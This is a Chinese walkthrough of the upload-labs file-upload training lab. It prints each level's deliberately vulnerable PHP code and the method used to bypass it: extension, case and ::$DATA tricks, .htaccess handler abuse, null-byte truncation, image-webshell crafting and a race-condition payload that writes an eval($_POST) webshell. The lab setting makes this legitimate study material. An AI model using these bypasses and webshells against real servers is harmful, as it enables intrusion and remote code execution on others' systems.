upload-labs攻略

                       攻略秘籍


前言

       个人观点,若有误请指教


漏洞分类

在这里插入图片描述

  • 这里没使用到是:Apache换行解析漏洞。
  • 这里在提一嘴:%00截断和0x00截断是一样的(0x00就是%00解码成的16进制)。换句话说%00用于GET,而0x00用于POST。
  • 最后说明一下: 通关的方法并不唯一!!!

准备环境

  1. 下载phpstudy软件及搭建upload靶场,这里提供集成压缩包下载(链接:https://pan.baidu.com/s/1g3-aEtCP-lLCdOxuwzD6RA
    提取码:l3li)。下载完成后解压,根据使用说明.txt文件进行操作。操作完成启动phpstudy后,直接访问http://localhost/index.php即可。
    注:来自https://github.com/c0ny1/upload-labs/releases/tag/0.1

  2. 下载Burp Suite。(自寻网上教程)

  3. 下载中国菜刀。(自寻网上教程)

  4. 一句话木马文件。(根据菜刀软件进行创建即可,这里给出通关时所使用的文件)
    在这里插入图片描述


Pass-01-js检查

  1. 在前端进行判断文件名后缀是否合理:若合理则提交给后端(不再进行验证,无条件信任前端传递的信息);若不合理则不再提交给后端(使用Burp是抓不到包的,因为浏览器直接解决了,没发出包)。

  2. 源码:

function checkFile() {
    //获得上传的第一个文件名(不过这里好像只允许上传一个文件)
    var file = document.getElementsByName('upload_file')[0].value;
    if (file == null || file == "") {
        alert("请选择要上传的文件!");
        return false;
    }
    //定义允许上传的文件类型
    var allow_ext = ".jpg|.png|.gif";
    //提取上传文件的类型
    var ext_name = file.substring(file.lastIndexOf("."));
    //判断上传文件类型是否允许上传
    if (allow_ext.indexOf(ext_name + "|") == -1) {
        var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
        alert(errMsg);
        return false;
    }
}
  1. 解决思路:在请求Pass-01页面时,使用Burp拦截响应包,删除里面的js代码后再转发给客户端(浏览器)。这是再提交不合理的文件后缀名,就可以直接发给后端了。(因为过滤的js代码被删除了)

  2. 实际操作(第一关给出的上传和菜刀的图片[第一张和最后两张],将不在后面的关卡中给出):
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述


Pass-02-验证Content-type

  1. 互联网媒体类型(Internet Media Type)也叫做MIME类型。而在Http协议消息头中,使用Content-Type来表示具体请求中的媒体类型信息。下面给出常见的Content-Type:
代表含义
text/htmlHTML格式
text/plain纯文本格式
text/xmlXML格式
image/gifgif图片格式
image/jpegjpg图片格式
image/pngpng图片格式
application/jsonJSON数据格式
application/pdfpdf格式
application/mswordWord文档格式
application/octet-stream二进制流数据(如常见的文件下载)
application/x-www-form-urlencoded<form encType=””>中默认的encType,form表单数据被编码为key/value格式发送到服务器(表单默认的提交数据的格式),应用于表单
application/xhtml+xmlXHTML格式
application/xmlXML数据格式
application/atom+xmlAtom XML聚合格式
multipart/form-data当在表单中需要上传文件的时候一定要使用这个
  1. 源码:
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
	//file_exists() 函数检查文件或目录(文件夹)是否存在。这里判断upload是否被创建了
    if (file_exists(UPLOAD_PATH)) {
        if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            //新位置,upload下没有file文件名则自动创建。
            $img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']  
            //将file移动到path中,若成功则true,否则反之。          
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '文件类型不正确,请重新上传!';
        }
    } else {
        $msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';
    }
}
  1. 解决思路:观看源码,可以得知后端只检查http报文中的Content-type类型,所以可以通过拦截报文,修改Content-type类型,以到达一句话木马文件成功上传。如无法理解$_FILES,可观看https://blog.csdn.net/weixin_46962006/article/details/121044595

  2. 具体实操:
    在这里插入图片描述

Pass-03-黑名单-上传特殊的可解析后缀名

  1. 源码:
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array('.asp','.aspx','.php','.jsp');
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空

        if(!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;            
            if (move_uploaded_file($temp_file,$img_path)) {
                 $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}
  1. 解决思路:黑名单为只要没有被不允许都可以通过。而$deny_ext指定了不允许的名单,那我们可以直接修改其后缀名进行上传(将webshell.php改成webshell.php3)。当访问URL地址/webshell.php3时,服务器响应的报文会给Content-Type的值赋为text/html,以便浏览器进行解析。服务器之所以会这么做是因为在httpd-conf已经配置把php3当成php文件进行处理。若没有这样的配置,则响应的报文是不会包含Content-Type,浏览器也不会去解析(因为不知道这么解析),浏览器会直接把文件的内容打印出来。通俗来讲:服务器认为php3是php文件,发出的报文也是以php文件格式来送,浏览器收到后也只能以php文件进行解析。

  2. 具体实操:
       没什么好实操的,右键改个文件名后缀总会吧!!!


Pass-04-黑名单-.htaccess

  1. 源码:
is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空

        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}
  1. 这里其实也是黑名单,但还是忘记过滤掉htaccess文件。.htaccess简单创建:https://jingyan.baidu.com/article/c74d600082eb280f6a595d18.html
//使用.htaccess文件是有前提条件的,其条件为mod_rewrite模块开启和AllowOverride All,也就是在httpd-conf中要出现下面两条语句。
AllowOverride All
LoadModule rewrite_module modules/mod_rewrite.so

//.htaccess文件内容(把FilesMatch标签去掉也行,去掉的话就是所有文件都会变当成php文件)
<FilesMatch "webshell.jpg">
SetHandler application/x-httpd-php 
</FilesMatch>

  1. 具体实操:
       也没有什么好实操的,先上传.htaccess文件再上传webshell.jpg文件。

Pass-05-黑名单-大小写绕过

  1. 源码:
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空

        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件类型不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}
  1. 解决思路:可以看出该源码的黑名单数组只对中间H的大小写进行拉黑,而没有对php可能的所有大小写进行拉黑,那么就可以通过windows对大小写不敏感上传webshell.Php文件,在windows系统看来Php和php文件是一致。
    注意:Linux是对大小写敏感的,但可以配置。(很少人会将Linux设置成不敏感,也就是说该上传文件方式只适用于windows)

  2. 具体实操
       也没有什么好实操的,改个文件名直接上传就好了。


Pass-06-黑名单-空格绕过

  1. 源码为:
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = $_FILES['upload_file']['name'];
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file,$img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件不允许上传';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}
  1. 解决思路:可以看出来这里的黑名单很齐全而且大小写也在这里不起作用了(统一被转为小写了)。但还是少了空格的去除,所以可以将webshell.php改为webshell.php空格 ,以实现上传。不过在windows系统下创建xx.后缀名.和xx.后缀名空格,是不被允许的。(windows会默认自动的去去除末尾的点和空格)。这里通过Burp抓包进行修改。

  2. 具体实操:
    在这里插入图片描述


Pass-07-黑名单-点绕过

  1. 源码:
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件类型不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}
  1. 解决思路:可以看出来这里的黑名单很齐全而且大小写也在这里不起作用了(统一被转为小写了)。但还是少了点的去除,所以可以将webshell.php改为webshell.php. ,以实现上传。不过在windows系统下创建xx.后缀名.和xx.后缀名空格,是不被允许的。(windows会默认自动的去去除末尾的点和空格)。这里通过Burp抓包进行修改。

  2. 具体实操:
    在这里插入图片描述


Pass-08-黑名单-::$DATA绕过

  1. 源码:
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件类型不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}
  1. 解决思路:可以看出在php代码中没有对::$DATA进行过滤,这时可以利用windows的特性(只能在window系统使用)。在windows中会将文件名::$DATA之后的数据当成文件流处理,保持::$DATA之前的文件名。举个例子:假设上传的文件为test.php::$DATA.jpg,如果成功上传到服务器就会去掉::$DATA.jpg变成test.php进行保存。但是php代码中还通过strrchr函数获取文件后缀.jpg,并以该后缀作为上传之后的文件后缀,所以test.php::$DATA.jpg上传到服务器后缀仍然是.jpg。这里通过Burp抓包来修改。

  2. 具体实操:
    在这里插入图片描述
    访问的时候记得去掉::$data(如:http://172.16.38.128/upload/202111181307318464.php)


Pass-09-黑名单-点空格点绕过

  1. 源码:
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件类型不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}
  1. 解决思路:在源码$img_path = UPLOAD_PATH.'/'.$file_name;中可以看出,该关与其他关不同的在于删除了点后的就直接拼接了(关键之处)。可以通过.空格.进行绕过(为了看得更清楚空格用g表示)。
$file_name = trim($_FILES['upload_file']['name']); //webshell.php.g.
$file_name = deldot($file_name);//删除文件名末尾的点  webshell.php.g
$file_ext = strrchr($file_name, '.'); //.g 
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
  1. 具体实操:
    在这里插入图片描述

Pass-10-黑名单-双写绕过

  1. 源码:
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");

        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = str_ireplace($deny_ext,"", $file_name);
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = UPLOAD_PATH.'/'.$file_name;        
        if (move_uploaded_file($temp_file, $img_path)) {
            $is_upload = true;
        } else {
            $msg = '上传出错!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}
  1. 解决思路:通过源码可以得知,只要出现在数组中的文件后缀名都会被替换成空。但可以通过pphphp绕过,因为str_ireplace函数只向左(右)的方向扫一次,不会来回扫。

  2. 具体实操:
       也没有什么好实操的,改个文件后缀名直接上传就好了。


Pass-11-白名单-%00截断

  1. 源码:
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = '上传出错!';
        }
    } else{
        $msg = "只允许上传.jpg|.png|.gif类型文件!";
    }
}
  1. 解决思路:该关为白名单。由于$_GET['save_path']是直接拼接,没有进行检查,所以可以通过%00绕过(%00是一个字符串结束的标志,相当于一个注释符,把后面的都注释掉了)。前提条件是:PHP的版本要小于等于5.3.4和在php.ini文件中magic_quotes_gpc=Off。

  2. 具体实操 :
    在这里插入图片描述
    在这里插入图片描述


Pass-12-白名单-0x00截断

  1. 源码:
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传失败";
        }
    } else {
        $msg = "只允许上传.jpg|.png|.gif类型文件!";
    }
}
  1. 解决思路:该关为白名单。由于$_POST['save_path']是直接拼接,没有进行检查,所以可以通过%00绕过(因为是post提交,所以要改一下二进制)。前提条件是:PHP的版本要小于等于5.3.4和在php.ini文件中magic_quotes_gpc=Off。

  2. 具体实操 :
    在webshell.php%00这里,后面不一定要加%00,之所以加这个是为了更好的和%00截断融合在一起。这里主要是要在截断的位置加一个二进制0(0x00),也就是说图二是关键。
    在这里插入图片描述
    在这里插入图片描述


Pass-13-检查内容-文件头检查-图片马

  1. 源码:
function getReailFileType($filename){
    $file = fopen($filename, "rb");
    $bin = fread($file, 2); //只读2字节
    fclose($file);
    $strInfo = @unpack("C2chars", $bin);    //从二进制字符串对数据进行解包(C表示没有符号位)
    $typeCode = intval($strInfo['chars1'].$strInfo['chars2']);    //进行拼接变成数字
    $fileType = '';    
    switch($typeCode){      
        case 255216:            
            $fileType = 'jpg';
            break;
        case 13780:            
            $fileType = 'png';
            break;        
        case 7173:            
            $fileType = 'gif';
            break;
        default:            
            $fileType = 'unknown';
        }    
        return $fileType;
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_type = getReailFileType($temp_file);

    if($file_type == 'unknown'){
        $msg = "文件未知,上传失败!";
    }else{
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传出错!";
        }
    }
}
  1. 解决思路:通过读文件的前2个字节判断文件类型,因此直接上传图片马(不要将一句话木马放在开头就行了)即可。制作图片马:①将图片和木马文件放在同一目录下;②在该目录下打开cmd;③输入命令copy tupian.jpg /b + muma.php /a shell.jpg ,其中/b表示一个二进制文件、 +表示将多个文件合并成一个文件、/a表示一个ASCll文本文件。意思为将tupian.jpg文件和muma.php文件合并成一个文件,其文件名为shell.jpg。

  2. 具体实操:
    下面产生的shell.jpg的文件头应该是png文件的文件头,源码应该会把其当成png文件。
    在这里插入图片描述
    在这里插入图片描述

  3. 测试图片马是否能正常运行(可以不进行,菜刀能连上即可):
    将webshell.php的内容改成<?php @eval(phpinfo());?>,再进行一次合并文件。
    在这里插入图片描述

<?php
/*
本页面存在文件包含漏洞,用于测试图片马是否能正常运行!
*/
header("Content-Type:text/html;charset=utf-8");
$file = $_GET['file'];
if(isset($file)){
    include $file;  //将对应的文件内容包含过来并以php的语法进行解析
}else{
    show_source(__file__);
}
?>

Pass-14-检查内容-getimagesize()-图片马

  1. 源码:
function isImage($filename){
    $types = '.jpeg|.png|.gif';
    if(file_exists($filename)){
        $info = getimagesize($filename);
        $ext = image_type_to_extension($info[2]);
        if(stripos($types,$ext)>=0){
            return $ext;
        }else{
            return false;
        }
    }else{
        return false;
    }
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $res = isImage($temp_file);
    if(!$res){
        $msg = "文件未知,上传失败!";
    }else{
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").$res;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传出错!";
        }
    }
}
  1. 解决思路:通过getimagesize(同时是只读取文件的头几个字节进行判断)和image_type_to_extension获得文件后缀名,与规定的进行比较判断文件类型,因此直接上传图片马(不要将一句话木马放在开头就行了)即可。制作图片马:①将图片和木马文件放在同一目录下;②在该目录下打开cmd;③输入命令copy tupian.jpg /b + muma.php /a shell.jpg ,其中/b表示一个二进制文件、 +表示将多个文件合并成一个文件、/a表示一个ASCll文本文件。意思为将tupian.jpg文件和muma.php文件合并成一个文件,其文件名为shell.jpg。

  2. 具体实操:
    在这里插入图片描述
    在这里插入图片描述

  3. 测试图片马是否能正常运行(可以不进行,菜刀能连上即可):
    将webshell.php的内容改成<?php @eval(phpinfo());?>,再进行一次合并文件。
    在这里插入图片描述

<?php
/*
本页面存在文件包含漏洞,用于测试图片马是否能正常运行!
*/
header("Content-Type:text/html;charset=utf-8");
$file = $_GET['file'];
if(isset($file)){
    include $file;  //将对应的文件内容包含过来并以php的语法进行解析
}else{
    show_source(__file__);
}
?>

Pass-15-检查内容-exif_imagetype()-图片马

  1. 源码:
function isImage($filename){
    //需要开启php_exif模块
    $image_type = exif_imagetype($filename);
    switch ($image_type) {
        case IMAGETYPE_GIF:
            return "gif";
            break;
        case IMAGETYPE_JPEG:
            return "jpg";
            break;
        case IMAGETYPE_PNG:
            return "png";
            break;    
        default:
            return false;
            break;
    }
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $res = isImage($temp_file);
    if(!$res){
        $msg = "文件未知,上传失败!";
    }else{
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$res;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传出错!";
        }
    }
}
  1. 通过exif_imagetype(需开启php_exif模块,同时是只读取文件的头几个字节进行判断)来判断文件类型,因此直接上传图片马(不要将一句话木马放在开头就行了)即可。制作图片马:①将图片和木马文件放在同一目录下;②在该目录下打开cmd;③输入命令copy tupian.jpg /b + muma.php /a shell.jpg ,其中/b表示一个二进制文件、 +表示将多个文件合并成一个文件、/a表示一个ASCll文本文件。意思为将tupian.jpg文件和muma.php文件合并成一个文件,其文件名为shell.jpg。

  2. 具体实操:
    在这里插入图片描述
    在这里插入图片描述

  3. 测试图片马是否能正常运行(可以不进行,菜刀能连上即可):
    将webshell.php的内容改成<?php @eval(phpinfo());?>,再进行一次合并文件。
    在这里插入图片描述

<?php
/*
本页面存在文件包含漏洞,用于测试图片马是否能正常运行!
*/
header("Content-Type:text/html;charset=utf-8");
$file = $_GET['file'];
if(isset($file)){
    include $file;  //将对应的文件内容包含过来并以php的语法进行解析
}else{
    show_source(__file__);
}
?>

Pass-16-检查内容-二次渲染绕过

  1. 源码:
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])){
    // 获得上传文件的基本信息,文件名,类型,大小,临时文件路径
    $filename = $_FILES['upload_file']['name'];
    $filetype = $_FILES['upload_file']['type'];
    $tmpname = $_FILES['upload_file']['tmp_name'];

    $target_path=UPLOAD_PATH.'/'.basename($filename);

    // 获得上传文件的扩展名
    $fileext= substr(strrchr($filename,"."),1);

    //判断文件后缀与类型,合法才进行上传操作
    if(($fileext == "jpg") && ($filetype=="image/jpeg")){
        if(move_uploaded_file($tmpname,$target_path)){
            //使用上传的图片生成新的图片
            $im = imagecreatefromjpeg($target_path);

            if($im == false){
                $msg = "该文件不是jpg格式的图片!";
                @unlink($target_path);
            }else{
                //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".jpg";
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagejpeg($im,$img_path);
                @unlink($target_path);
                $is_upload = true;
            }
        } else {
            $msg = "上传出错!";
        }

    }else if(($fileext == "png") && ($filetype=="image/png")){
        if(move_uploaded_file($tmpname,$target_path)){
            //使用上传的图片生成新的图片
            $im = imagecreatefrompng($target_path);

            if($im == false){
                $msg = "该文件不是png格式的图片!";
                @unlink($target_path);
            }else{
                 //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".png";
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagepng($im,$img_path);

                @unlink($target_path);
                $is_upload = true;               
            }
        } else {
            $msg = "上传出错!";
        }

    }else if(($fileext == "gif") && ($filetype=="image/gif")){
        if(move_uploaded_file($tmpname,$target_path)){
            //使用上传的图片生成新的图片
            $im = imagecreatefromgif($target_path);
            if($im == false){
                $msg = "该文件不是gif格式的图片!";
                @unlink($target_path);
            }else{
                //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".gif";
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagegif($im,$img_path);

                @unlink($target_path);
                $is_upload = true;
            }
        } else {
            $msg = "上传出错!";
        }
    }else{
        $msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";
    }
}
  1. 解决思路:可以将上传普通的图片,然后将其下载下来,在十六进制编辑软件(winhex等软件)比较两个文件,查看服务器生成的图片到达那里修改了,那里没修改。在没修改的对应位置加入一句话木马,再次上传即可。
    注意:三种文件的绕过是有所区别的,这里使用最简单的gif图片马(其他的方式可以看一下:https://www.fujieace.com/penetration-test/upload-labs-pass-16.html)。

  2. 具体实操:
    这里附上自己使用的图片:链接:https://pan.baidu.com/s/1vQrTxWiN_Kgtrn7ePrdi0A (提取码:ae2z)
    在这里插入图片描述
    在这里插入图片描述
    将afterupload文件上传,用菜刀连接即可。


Pass-17-代码逻辑-条件竞争

  1. 源码:
is_upload = false;
$msg = null;

if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_name = $_FILES['upload_file']['name'];
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_ext = substr($file_name,strrpos($file_name,".")+1);
    $upload_file = UPLOAD_PATH . '/' . $file_name;

    if(move_uploaded_file($temp_file, $upload_file)){
        if(in_array($file_ext,$ext_arr)){
             $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
             rename($upload_file, $img_path);
             $is_upload = true;
        }else{
            $msg = "只允许上传.jpg|.png|.gif类型文件!";
            unlink($upload_file);
        }
    }else{
        $msg = '上传出错!';
    }

  1. 解决思路:这里会先把文件上传到服务器中,再进行判断是否满足后缀名的要求,不满足则删掉,满足则重新命名。这时,可以利用时间差,在其删除之前进行访问(通过Burp工具),通过访问创建真正的一句话木马文件。

  2. 具体实操:
    创建temp.php文件,内容为:

<?php  fputs(fopen('phpinfo.php','w'),'<?php @eval($_POST[\'ys\']);?>');?>

     拦截下面两个网址的请求
在这里插入图片描述
在这里插入图片描述
     拦截下来两个的请求都做以下操作
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
     下面的python脚本用于判断木马文件是否被创建成功。

#注意:使用时记得删去注释,否则cmd窗口会一闪而过
import requests   #第三方库
import os         #为了让屏幕停留导入的库  
 
url = "http://172.16.38.128/upload/phpinfo.php"
 
while True:
    html = requests.get(url)
    if html.status_code == 200:
        print("OK")
        break

os.system('pause')  #停留

     一切就绪,点击开始攻击和python脚本文件
在这里插入图片描述


